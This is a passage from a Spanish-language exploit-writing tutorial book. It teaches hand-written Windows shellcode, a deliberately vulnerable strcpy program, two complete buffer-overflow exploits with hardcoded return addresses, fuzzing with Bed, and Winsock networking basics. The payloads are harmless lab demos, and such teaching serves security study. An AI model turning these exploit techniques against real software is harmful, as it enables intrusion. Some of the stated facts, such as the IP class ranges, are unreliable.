Código Fuente – Aplicación 11 – Versión Windows: Llamar Funciones de Archivos dll
.386
.model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .data Teraexe_ExerciseOne db "El Libro de Teraexe by Socket_0x03", 0 .code start: xor eax, eax ; Limpiando el registro EAX xor ebx, ebx ; Limpiando el registro EBX xor edx, edx ; Limpiando el registro EDX mov eax, 7C838A53h ; Dirección de memoria de Beep de Kernel32.dll mov bx, 520 ; Frecuencia mov dx, 4000 ; Duración push ebx ; Empujando el valor 520 a la pila push edx ; Empujando el valor 4000 a la pila call eax ; Llamando la función Beep de Kernel32.dll invoke MessageBox, NULL, addr Teraexe_ExerciseOne, addr Teraexe_ExerciseOne, MB_OK invoke ExitProcess, 0 end start
Resultado: Se escucha un beep y se ve la siguiente ventana:
El Libro de Teraexe Alvaro J. Gene
197
Parte 8 – Escribiendo Shellcodes en ASM
Después de detectar una vulnerabilidad y causar un desbordamiento de memoria, una persona puede escribir una
shellcode para causar el efecto que él/ella desee en la computadora de la víctima después de que se explote el bug. En
esta sección, aprenderemos a escribir shellcodes manualmente en lenguaje ensamblador.
Herramientas para Escribir Shellcodes:
1) Arwin: Un informático puede utilizar la aplicación Arwin para así encontrar las direcciones de memoria de los
archivos .dll; por ejemplo, una persona puede usar Arwin para encontrar la dirección de memoria de Sleep que se
encuentra dentro del archivo Kernel32.dll, luego, él/ella puede desarrollar una shellcode que use la función Sleep
del Kernel32.dll.
2) Nasm: Después de desarrollar una aplicación en lenguaje ensamblador (ASM), un informático puede utilizar Nasm
para compilar su código y crear un fichero objeto. ¿Qué es un fichero objeto? En el campo de la informática, un
fichero objeto o archivo objeto es aquel que una persona puede crear en algún lenguaje de programación y que al
mismo tiempo se encuentra compuesto por un grupo de instrucciones y códigos que una computadora puede
interpretar; en algunos casos, antes de crear un archivo ejecutable de extensión .exe, un informático debe crear un
archivo objeto de extensión .o. Un dato importante que un informático debe saber sobre las shellcodes es que la
mayoría de las shellcodes se encuentran programadas en lenguaje ensamblador; por lo tanto, en El Libro de
Teraexe, usaremos nuestros conocimientos en lenguaje ensamblador y la aplicación Nasm para así programar una
shellcode y crear el archivo objeto. Después de crear el archivo objeto, se seguirán otros pasos para obtener la
shellcode que usaremos dentro de nuestro exploit.
3) Alink: Después de usar Nasm para crear un archivo objeto de extensión .o, un informático puede utilizar Alink para
crear el archivo ejecutable de extensión .exe.
El Libro de Teraexe Alvaro J. Gene
198
4) W32DASM: La aplicación W32DASM es un desensamblador que nos permite desensamblar archivos programados
en lenguaje ensamblador para así poder ver sus códigos de programación y valores hexadecimales. Gracias a este
programa, un informático puede ver los valores hexadecimales para así poder crear la shellcode que colocará dentro
de su exploit. No solamente un informático puede usar la aplicación W32DASM para ver los valores hexadecimales
de un programa creado en lenguaje ensamblador, sino que también él/ella puede usar W32DASM para crear un
archivo de extensión .alf, el cual puede ser usado por la aplicación Wdhex para obtener la shellcode y no tener que
escribirla manualmente.
5) Wdhex: Como se nombró anteriormente, la aplicación Wdhex puede ser usada para abrir un archivo de extensión
.alf y posteriormente darnos aquella shellcode que podemos colocar dentro de nuestro exploit.
I. Shellcode de la Función Sleep
Primero, escribir en un bloc de notas el siguiente código:
segment .code USE32 ..start: xor eax, eax ; Limpiando el registro EAX xor ebx, ebx ; Limpiando el registro EBX mov eax, 0x7c802442 ; Kernel32.dll, Dirección de memoria de Sleep mov bx, 4000 ; Pausa de cuatro segundos push ebx ; Empujando el valor 4000 a la pila call eax ; Llamando la función de Sleep de Kernel32.dll
Segundo, guardar el código de arriba como AGene_Shellcode.asm.
Tercero, abrir la línea de comandos; luego, usar arwin para buscar la dirección de memoria de Sleep dentro de
kernel32.dll. Para eso, se tecla lo siguiente en la línea de comandos: arwin kernel32.dll Sleep
Cuarto, se usa nasm y se teclea: nasm –fobj AGene_Shellcode.asm.
Quinto, se usa alink y se teclea: alink –c –oPE –subsys gui AGene_Shellcode.
El Libro de Teraexe Alvaro J. Gene
199
Después de teclear los códigos anteriores, se verá una pantalla similar a la siguiente:
El Libro de Teraexe Alvaro J. Gene
200
Sexto, se utiliza W32Dasm para abrir AGene_Shellcode.exe:
El Libro de Teraexe Alvaro J. Gene
201
Séptimo, click en File, Save Disassembly Text File and Create Project File…
Octavo, se usa wdhex para ver la shellcode:
El Libro de Teraexe Alvaro J. Gene
202
Noveno, se usa Visual Studio para examinar el funcionamiento de la shellcode:
/*shellcodetest.c*/ char code[] = "\x31\xC0\xBB\x42\x24\x80\x7C\x66\xB8\x88\x13\x50\xFF\xD3"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Si todo salió bien, el programa tardará 4 segundos y luego saldrá un mensaje de error:
El Libro de Teraexe Alvaro J. Gene
203
Inyectando Shellcode Dentro del Exploit:
Primero, usar FindJmp2 para buscar la dirección de kernel32.dll, CALL ESP:
El Libro de Teraexe Alvaro J. Gene
204
Ejemplo usando el FindJmp3 para buscar la dirección de kernel32.dll, CALL ESP:
El Libro de Teraexe Alvaro J. Gene
205
Código Vulnerable:
#include <stdio.h> //El archivo de cabecera string.h para usar la función strcpy:
#include <string.h> //Declarando una función:
int AGene_Function(); /*La Función Main:
En el segundo parámetro se encuentra un string variable, el cual
contendrá el número de caracteres enviados a la línea de comandos.*/
int main(int argc, char *argv[]) { //Creando un string variable (de tamaño 768) para almacenar caracteres: char AGene_String[768]; //La función strcpy para copiar el string de argv a la variable AGene_String:
strcpy(AGene_String, argv[1]); //Usando la función printf para crear la vulnerabilidad de buffer overflow:
printf("%s", AGene_String); //Terminar la función main:
return 0; }; //Definiendo una función:
int AGene_Function() { printf("\n\nPrimer mensaje.\n"); // Posición de Memoria: 004010B8 = \xB8\x10\x40\x00
printf("\nSegundo mensaje.\n"); // Posición de Memoria: 004010C5 = \xC5\x10\x40\x00
printf("\nTercer mensaje.\n"); // Posición de Memoria: 004010D2 = \xD2\x10\x40\x00
return 0; }
El Libro de Teraexe Alvaro J. Gene
206
Exploit:
#include <stdio.h> //Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h> //Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n"); //Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe "; //Creamos un string variable que contendrá 772 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50 bytes. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAA"; // Total: 772 bytes /*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\x5D\x38\x82\x7C"; //Kernel32.dll CALL ESP //Shellcode de 14 bytes: char AGene_Shellcode[] = "\x31\xC0\x31\xDB\xB8\x42\x24" "\x80\x7C\x66\xBB\xA0\x0F\x53" "\xFF\xD0"; /*Usamos la función strcat para añadir los bytes de AG_Bytes a
El Libro de Teraexe Alvaro J. Gene
207
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes); /*Usamos la función strcat para añadir los bytes de
AGene_Return_Address a AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (772 As)... \xC5\x10\x40\x00.*/ strcat(AGene_String, AGene_Return_Address); //Añadimos la shellcode a la variable de string: strcat(AGene_String, AGene_Shellcode); /*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0); //La función return con el valor de cero para cerrar el programa:
return 0; }
Resultado: El programa quedará pausado por 4 segundos y después saldrá un mensaje de error.
II. Shellcode de la Función Beep
Primero, escribir en el bloc de notas el siguiente código:
segment .code USE32
..start:
xor eax, eax ; Limpiando el registro EAX
xor ebx, ebx ; Limpiando el registro EBX
xor edx, edx ; Limpiando el registro EDX
mov eax, 0x7C838A53 ; Dirección de memoria de Beep de Kernel32.dll
mov bx, 520 ; Frecuencia
mov dx, 4000 ; Duración
push ebx ; Empujando el valor 520 a la pila
push edx ; Empujando el valor 4000 a la pila
call eax ; Llamando la función Beep de Kernel32.dll
El Libro de Teraexe Alvaro J. Gene
208
Segundo, guardar el código de arriba como AGene_Shellcode_Beep.asm.
Tercero, se usa nasm y se teclea: nasm –fobj AGene_Shellcode.asm.
Cuarto, se usa alink y se teclea: alink –c –oPE –subsys gui AGene_Shellcode.
Después de teclear los códigos anteriores, se verá una pantalla similar a la siguiente:
El Libro de Teraexe Alvaro J. Gene
209
Quinto, se utiliza W32Dasm para abrir AGene_Shellcode.exe:
El Libro de Teraexe Alvaro J. Gene
210
Sexto, click en File, Save Disassembly Text File and Create Project File. Luego, se creará un archivo de extensión .alf.
Séptimo, se usa wdhex para ver la shellcode:
Usando la shellcode dentro del exploit: El código fuente de la aplicación vulnerable será el mismo que utilizamos en el
exploit anterior. A continuación se muestra el exploit para cargar la shellcode de Beep:
El Libro de Teraexe Alvaro J. Gene
211
Exploit:
#include <stdio.h> //Usando el archivo de cabecera windows.h para usar la función WinExec:
#include <windows.h> //Usando el archivo de cabecera string.h para usar la función strcat:
#include <string.h> int main () { //Usando printf para mostrar unos mensajes: printf("\nWriting Buffer Overflow Exploits by Socket_0x03\n"); printf("\nwww.teraexe.com\n\n"); //Creamos un string variable que contendrá el nombre del programa vulnerable:
char AGene_String[1000] = "C:\\AGene_Vuln.exe "; //Creamos un string variable que contendrá 772 bytes:
char AG_Bytes[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //50 bytes. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAA"; // Total: 772 bytes /*Creamos un string variable que contendrá la dirección de retorno
que va a sobreescribir el registro EIP:*/ char AGene_Return_Address[] = "\x5D\x38\x82\x7C"; //Kernel32.dll CALL ESP //Shellcode de 14 bytes: char AGene_Shellcode[] = "\x31\xC0\x31\xDB\x31\xD2\xB8" "\x53\x8A\x83\x7C\x66\xBB\x08" "\x02\x66\xBA\xA0\x0F\x53\x52" "\xFF\xD0";
El Libro de Teraexe Alvaro J. Gene
212
/*Usamos la función strcat para añadir los bytes de AG_Bytes a
AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA...*/ strcat(AGene_String, AG_Bytes); /*Usamos la función strcat para añadir los bytes de
AGene_Return_Address a AGene_String. De esta forma, la cadena de caracteres quedará así:
C:\\AGene_Vuln.exe AAAAAA... (772 As)... \xC5\x10\x40\x00.*/ strcat(AGene_String, AGene_Return_Address); //Añadimos la shellcode a la variable de string: strcat(AGene_String, AGene_Shellcode); /*Usando la función WinExec para abrir un ejecutable. En este caso,
el ejecutable se abrirá junto al string que añadimos anteriormente.*/
WinExec(AGene_String, 0); //La función return con el valor de cero para cerrar el programa:
return 0; }
El Libro de Teraexe Alvaro J. Gene
213
Parte 9 – Fuzzer Bed para Encontrar Vulnerabilidades en Servidores
En el campo de la seguridad informática, una persona puede encontrar el termino fuzzer. ¿Qué es un fuzzer? Un fuzzer
es una aplicación de auditoria que permite enviar una gran cantidad de datos llamados fuzz con la finalidad de encontrar
una vulnerabilidad en un programa informático. Aunque existen una gran cantidad de fuzzers, en esta sección nos
enfocaremos en un solo fuzzer, el cual es conocido como Bed. El fuzzer Bed es una aplicación desarrollada en el
lenguaje de programación Perl que nos permite encontrar diferentes tipos de vulnerabilidades a nivel de memoria, como
por ejemplo desbordamientos de pila, desbordamientos de monticulo, vulnerabilidades de format string, y otras fallas.
Estas vulnerabilidades a nivel de memoria pueden ser encontradas en diferentes tipos de servidores, como por ejemplo
los servidores HTTP, FTP, SMTP, POP3, entre otros.
Un dato importante que un informático debe saber sobre el fuzzer Bed es que ese fuzzer es un programa de código
abierto, por lo tanto, un informático puede ver el código fuente del fuzzer Bed y modificarlo de acuerdo a la autidoria
que él/ella quiera realizar. Por ejemplo, un informático podría modificar el código fuente del fuzzer Bed para así
encontrar vulnerabilidades en aquellos servidores que no aparecen en el source code de Bed. Otro ejemplo,
supongamos que un informático quiere examinar las vulnerabilidades de un servidor HTTP y Bed solamente cuenta con
unos códigos para encontrar vulnerabilidades solamente en 10 tipos de funciones (User-Agent, If-Modified-Since,
Referer… etc.) de un HTTP server, un informático podría modificar el source code de Bed para así añadir más
funciones y aumentar sus posibilidades de encontrar agujeros de seguridad. Además, un informático podría modificar el
source code de Bed para cambiar el número de bytes que él/ella le desea enviar a cada función del servidor HTTP.
Descarga de los Videos:
A continuación se muestran dos videos en donde se utiliza el fuzzer Bed para sobrescribir el registro EIP de dos
aplicaciones vulnerables, las cuales tienen como nombre Xitami y NetTerm.
URL: http://www.teraexe.com/SOFT/Metasploit_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
214
Parte 10 – Conocimientos Básicos sobre Programación en C – Parte 2
En la siguiente sección (parte 11), se usará el lenguaje de programación C para desarrollar exploits remotos que causan
desbordamientos de memoria en servidores, como por ejemplo el servidor HTTP Xitami. Lógicamente, para desarrollar
ese tipo de exploits que trabajan con direcciones IPs y números de puertos, aparte de tener conocimientos de buffer
overflow, se requieren conocimientos de redes. Por lo tanto, en esta sección, se brindará una base sobre programación
en C enfocada al networking, en donde un informático podrá desarrollar un cliente y un servidor que permita la
transferencia de datos mediante una dirección IP y un número de puerto. En otras palabras, en esta sección, un
informático podrá adquirir los conocimientos básicos de networking al usar el archivo de cabecera winsock2 y sus
respectivas funciones de redes.
a) Winsock2: El archivo de cabecera winsock2 (winsock2.h) permite a un informático trabajar con el protocolo
TCP/IP y desarrollar aplicaciones de redes, como por ejemplo los clientes y servidores que funcionan con
direcciones IPs y números de puertos. Cuando un informático quiere utilizar el archivo de cabecera winsock2,
él/ella solamente tiene que escribir la siguiente línea de código: #include <winsock2.h>.
Luego, después de que el informático incluye el archivo de cabecera, él/ella tiene que enlazarlo o unirlo a una
librería. Usualmente, cuando se incluye el archivo winsock, un informático tiene que enlazarlo a la librería
winsock2.lib; por otro lado, cuando se incluye el archivo winsock2, un informático tiene que enlazarlo a la librería
Ws2_32.lib. Sin embargo, como el archivo winsock2 es una extensión de winsock, un informático también podría
enlazar el archivo de cabecera winsock2 a la librería wsock32.lib y la aplicación funcionaría correctamente siempre
y cuando se utilicen los códigos de la librería wsock32.lib. A continuación se muestra un ejemplo de la línea de
código que un informático puede escribir para enlazar el archivo de cabecera de los sockets:
#pragma comment(lib, "wsock32.lib")
b) La Estructura WSAData: WSAData es la unión de las iniciales WSA y la palabra Data. Por un lado, WSA es la
abreviación de Windows Socket API; por otro lado, Data es una palabra inglesa que significa datos. Como su
nombre lo indica, la estructura WSAData es aquella que va a contener los datos e información sobre los sockets de
El Libro de Teraexe Alvaro J. Gene
215
Windows. Por ejemplo, la estructura WSAData va a contener la versión de los sockets de Windows que serán
usados por los archivos .dll como Ws2_32.dll/winsock.dll, los cuales se encargan de trabajar con los dos protocolos
principales de redes conocidos como TCP/IP. Como sabrán, los protocolos TCP/IP son los principales para la
transferencia de datos en una red de computadoras. Cuando un informático quiere almacenar los datos de la
estructura WSAData dentro de una variable, él/ella solamente tiene que escribir una línea de código como la
siguiente: WSAData Nombre_de_Variable;. Una vez que los datos quedan almacenados dentro de una variable,
entonces el informático puede utilizar esa variable dentro de alguna función de winsock2 para que su programa
pueda realizar X o Y tarea; por ejemplo, un informático podría utilizar la estructura WSAData dentro de la función
WSAStartup para iniciar el uso de sockets dentro de un programa informático.
c) La Función WSAStartup: Un informático puede utilizar la función WSAStartup cuando él/ella quiere iniciar el uso
de sockets dentro de su programa; en este caso, la función WSAStartup iniciará el uso del archivo .dll que se
especificó anteriormente, bien sea Ws2_32.dll o winsock.dll. A continuación se muestra la sintaxis que un
informático debe seguir para iniciar el uso de los archivos .dll mediante la función WSAStartup:
WSAStartup(Versión-de-Socket, WSAData);
� Versión-de-Socket: En el primer parámetro de la función WSAStartup, un informático debe colocar la versión del
socket que va a utilizar dentro de su aplicación.
� WSAData: En el segundo parámetro, un programador debe colocar la variable de la estructura WSAData, la cual
contiene datos o información relacionada con los sockets de Windows.
A continuación se muestra un ejemplo de cómo utilizar la función WSAStartup:
WSAStartup(MAKEWORD(2,0), &WSAData_Variable);
Como se puede notar en el primer parámetro del ejemplo anterior, cuando un informático desea especificar la
versión de los sockets de Windows, él/ella debe hacer uso de la función MAKEWORD y dentro de esa función
colocar el número de la versión de los sockets de Windows. Como se puede observar en el ejemplo anterior, en el
El Libro de Teraexe Alvaro J. Gene
216
primer parámetro se especificó la versión 2 de los sockets de Windows. Luego, en el segundo parámetro también se
puede notar que un informático debe utilizar el símbolo & antes de la variable de WSAData.
En el desarrollo de una aplicación, una vez que un informático inicia el uso de los sockets, el siguiente paso consiste
en crear un socket de redes.
d) La Función socket: Un informático puede utilizar la función socket cuando él/ella quiere crear un socket de internet.
¿Qué es un socket de internet? En una red de computadoras, un socket es el punto final entre la comunicación de un
cliente y un servidor; además, el socket se usa para la transferencia de datos y va estar compuesto por un protocolo
de transferencia, direcciones IPs, y un número de puerto. En el desarrollo de una aplicación, cuando un
programador quiere crear un socket, él/ella tiene que usar la función socket siguiendo la siguiente sintaxis:
socket(Dominio_de_Comunicación, Tipo_de_Socket, Protocolo_de_Socket);
a. Dominio_de_Comunicación: En el primer parámetro de la función socket, un informático tiene que añadir el
dominio de comunicación. ¿Qué es el dominio de comunicación? En la programación de redes, el dominio de
comunicación es el medio de comunicación que usará un socket, el cual depende de diferentes tipos de protocolos,
como por ejemplo el protocolo TCP/IP usado por el dominio AF_INET. A continuación se muestran los dominios
de comunicación que un informático puede utilizar en el primer parámetro de la función socket:
AF_INET: Internet Address Family – Version 4 (AF = Address Family. INET = Internet).
AF_INET6: Internet Address Family – Version 6 (AF = Address Family. INET = Internet).
AF_UNSPEC: Unspecified Address Family (AF = Address Family. UNSPEC = Unspecified.).
AF_IPX: The IPX/SPX Address Family.
AF_APPLETALK: The AppleTalk Address Family.
AF_NETBIOS: The NetBIOS Address Family.
AF_IRDA: The Infrared Data Association (IrDA) Address Family.
AF_BTH: The Bluetooth Address Family.
El Libro de Teraexe Alvaro J. Gene
217
En El Libro de Teraexe, usaremos el dominio de comunicación AF_INET porque nuestras aplicaciones van a
trabajar con el protocolo TCP/IP versión 4 (TCP/IPv4) y ese es uno de los protocolos de internet más comunes que
existen hoy en día. Como el protocolo de TCP/IPv6 del dominio de comunicación AF_INET6 también es muy
usado en el mundo de la informática, en esta sección, voy a brindar una pequeña descripción sobre los protocolos
IPv4 e IPv6.
IPv4: IPv4 es la abreviación de Internet Protocol Version 4, lo que en español significaría Versión 4 del Protocolo
de Internet. Como se nombró anteriormente al principio de este libro, una dirección IP identifica a un dispositivo o
computadora dentro de una red. En el caso de las direcciones IP versión 4, una organización puede utilizar las IPv4
para conectar 4, 294, 967, 296 (2^32) dispositivos o computadoras dentro de una red. El límite de computadoras
conectadas dentro de una red se debe a la representación de las direcciones IPv4, las cuales son representadas en un
formato de 32 bits. En otras palabras, las direcciones IPv4 son representadas con números decimales colocados en
cuatro campos que se encuentran separados por tres puntos; por ejemplo, una dirección IPv4 sería de la siguiente
forma: 192.168.1.100. Como se puede observar en la dirección IP anterior de 32 bits, tenemos un total de cuatro
campos separados por tres puntos; en este caso, cada campo es un octeto de 8 bits, lo que da un total de 32 bits
debido a que cuatro campos por 8 bits dan un total de 32 bits. A continuación se muestra una dirección IPv4 y su
representación en notación decimal y formato binario:
Notación Decimal Formato Binario
160.17.232.100 10100000 . 00010001 . 11101000 . 01100100
En la tabla anterior, se puede observar como el número decimal 160 es equivalente al formato binario 10100000;
además, en la dirección IP anterior, se puede notar que 10100000 es un número binario que está compuesto de 8 bits
debido a que cada cero (0) y (1) representan un solo bit. Lógicamente, si contamos todos los 0 y 1, vamos a tener un
total de 32 bits.
El Libro de Teraexe Alvaro J. Gene
218
Además de la representación de una IP en formato binario, un dato importante que un informático debe saber es que
esas direcciones IP de la versión 4 son divididas en cinco tipos de clases, las cuales son conocidas como clase A, B,
C, D, y E. A continuación se muestra una pequeña descripción sobre cada una de las clases de IP:
Clase Rango Uso Anfitriones Porción
Clase A 0.0.0.0 – 127.255.255.255 Redes Amplias 16, 777, 214 8-bits
Clase B 128.0.0.0 – 191.255.255.255 Redes Medianas 65, 539 16-bits
Clase C 192.0.0.0 – 223.255.255.255 Redes Pequeñas 256 24-bits
Clase D 244.0.0.0 – 239.255.255.255 Distintos Tipos de Red No Aplica 32-bits
Clase E 240.0.0.0 – 247.255.255.255 Red Experimental No Aplica No Aplica
Como se puede observar en la tabla anterior, cada clase está relacionada con las siguientes características:
i. Rango: Las direcciones IPs que se le asignan a los dispositivos o computadoras conectadas dentro de la red.
ii. Uso: Cada clase está relacionada con algún tipo de uso. Por un lado, si se trata de redes amplias que van a
necesitar un gran número de computadoras, se le puede asignar la clase A; por otro lado, si se trata de redes
pequeñas que no necesitan un gran número de dispositivos o computadoras, entonces se le puede asignar las
direcciones IPv4 de clase C.
iii. Anfitriones: En la tabla anterior, se puede observar como cada clase está relacionada con el número de
anfitriones o hosts que se encuentran dentro de una red. Por ejemplo, en las direcciones IPv4 de la clase A,
se pueden asignar un total de 16, 777, 214 anfitriones o hosts por red.
iv. Porción: En este campo, se muestra el número de bits que hacen la primera porción o el primer bloque de la
dirección IP.
El Libro de Teraexe Alvaro J. Gene
219
IPv6: IPv6 es la abreviación de Internet Protocol Version 6, lo que en español significaría Versión 6 del Protocolo
de Internet. Como se nombró anteriormente, el IPv4 puede asignar un límite de 4, 294, 967, 296 (2^32) direcciones
IPs; por otro lado, el IPv6 puede asignar un límite de 3.4x10^38 direcciones IPs. Desde principios de los años 90, el
número de usuarios en el mundo del internet ha ido aumentando drásticamente; por lo tanto, un grupo de científicos
e ingenieros llegaron a la conclusión de que en el futuro llegaría el momento en que el límite de direcciones IPs de
la IPv4 sería muy poco para la cantidad de dispositivos que se encuentran en el planeta tierra, entonces, ese grupo de
científicos e ingenieros crearon el IPv6 que puede asignar un número de direcciones IPs superior al IPv4. En el
futuro, se espera que el IPv6 sea quien reemplace al IPv4. A continuación se muestra un ejemplo de la
representación de la IPv6:
0202:CD57:3252:80B3:CD57:3252:0202:FF52
Como se puede observar en la IPv6, las direcciones IPs son representadas en forma hexadecimal, además, la IPv6 se
encuentra compuesta por 8 campos divididos por el símbolo que tiene como nombre los dos puntos (:). A diferencia
de la IPv4 que está compuesta por 32 bits, la IPv6 se encuentra compuesta por 128 bits, permitiéndole así asignar un
número de IPs superior al de la IPv4.
b. Tipo_de_Socket: En esta sección, un informático tiene que colocar un tipo de socket, el cual usará un tipo de
protocolo (TCP, UDP… etc.) para la transferencia de datos entre el cliente y el servidor. A continuación se
muestran los tipos de sockets que un informático puede utilizar en el segundo parámetro de la función socket:
i. Stream Socket (valor: SOCK_STREAM): Una de las formas más seguras para la transferencia de datos o
información entre un cliente y un servidor son los stream sockets debido a que los stream sockets usan un
tipo de protocolo que es conocido en el idioma inglés como Transmission Control Protocol (TCP). Cuando
se usa el protocolo TCP, las aplicaciones tienen pocas posibilidades de producir errores, además, cuando se
produce algún error, las aplicaciones están preparadas para ejecutar alguna función o dejar un mensaje
indicando la razón por la cual los datos no fueron transmitidos correctamente. Como el Transmission
El Libro de Teraexe Alvaro J. Gene
220
Control Protocol resulta confiable y seguro para la transferencia de datos, este protocolo es usado por
muchos tipos de servidores, incluyendo servidores HTTP, FTP, SMTP, entre otros.
¿Qué valor se debe colocar en la función socket para utilizar los stream sockets? Si un informático quiere
desarrollar una aplicación que va a transferir sus datos mediante los stream sockets, él/ella debe colocar el
siguiente valor en el segundo parámetro de la función socket: SOCK_STREAM.
ii. Datagram Socket (valor: SOCK_DGRAM): Una de las formas más rápidas para la transferencia de datos
entre un cliente y un servidor son los datagram sockets debido a que los datagram sockets usan un tipo de
protocolo que es conocido en el idioma inglés como User Datagram Protocol. Cuando se usa el protocolo
UDP, los datos son transferidos de forma más rápida que el protocolo TCP; sin embargo, cuando se trata de
indicar errores o ejecutar funciones después de que se producen ciertos errores en la transferencia de datos,
el protocolo UDP no resulta tan seguro y confiable como el protocolo TCP. Por un lado, el protocolo UDP
suele enviar paquetes más grandes que el protocolo TCP y existe un límite de tamaño por cada datagrama
que el protocolo UDP envía a X aplicación que actúa como servidor o cliente; por otro lado, en el protocolo
TCP, una vez que se establece una conexión entre un cliente y un servidor, las aplicaciones pueden transferir
sus datos de forma ilimitada sin tener que establecer una nueva conexión. Debido a la forma en que los datos
son transmitidos entre un cliente y un servidor, los servidores más comunes que suelen utilizar el protocolo
UDP son los servidores TFTP, DNS, SNMP, entre otros pocos.
¿Qué valor se debe colocar en la función socket para utilizar los datagram sockets? Si un informático quiere
desarrollar una aplicación que va a transferir sus datos mediante los datagram sockets, él/ella debe colocar el
siguiente valor en el segundo parámetro de la función socket: SOCK_DGRAM.
iii. Raw Socket: Además de los stream sockets y los datagram sockets, también existen los raw sockets, los
cuales son usados por los informáticos para desarrollar aquellas aplicaciones que pueden utilizar un
protocolo diferente al TCP/UDP para la transferencia de datos. Por ejemplo, un informático podría utilizar
los raw sockets para la transferencia de datos mediante protocolos como el Internet Message Protocol
El Libro de Teraexe Alvaro J. Gene
221
(ICMP), el Internet Group Management Protocol (IGMP), un nuevo protocolo de comunicación
desarrollado por su equipo, entre otros protocolos de comunicación.
¿Qué valor se debe colocar en la función socket para utilizar los raw sockets? Si un informático quiere
desarrollar una aplicación que va a transferir sus datos mediante los raw sockets, él/ella debe colocar el
siguiente valor en el segundo parámetro de la función socket: SOCK_RAW.
En el código fuente que se encuentra al final de esta sección, se especificará el valor de SOCK_STREAM para
transferir los mensajes mediante el protocolo TCP.
c. Protocolo_de_Socket: En el tercer parámetro de la función socket, un informático tiene que especificar el tipo de
protocolo que el socket usará para la transferencia de datos. Usualmente, si un informático tiene el valor de
AF_INET/AF_INET6 en el primer parámetro y SOCK_STREAM en el segundo parámetro, él/ella va a especificar
IPPROTO_TCP en el tercer parámetro porque el protocolo TCP está relacionado con los valores que se
especificaron en los dos primeros parámetros de la función socket. ¿Qué es IPPROTO_TCP? IPPROTO_TCP es la
abreviación de Internet Address Protocol – Transmission Control Protocol y es usado para transmitir datos
mediante el protocolo TCP. Además de IPPROTO_TCP, existen otros valores que un informático puede colocar en
el tercer parámetro de la función socket, como por ejemplo los siguientes valores:
IPPROTO_ICMP: The Internet Control Message Protocol (ICMP).
IPPROTO_IGMP: The Internet Group Management Protocol (IGMP).
BTHPROTO_RFCOMM: The Bluetooth Radio Frequency Communication (Bluetooth RFCOMM).
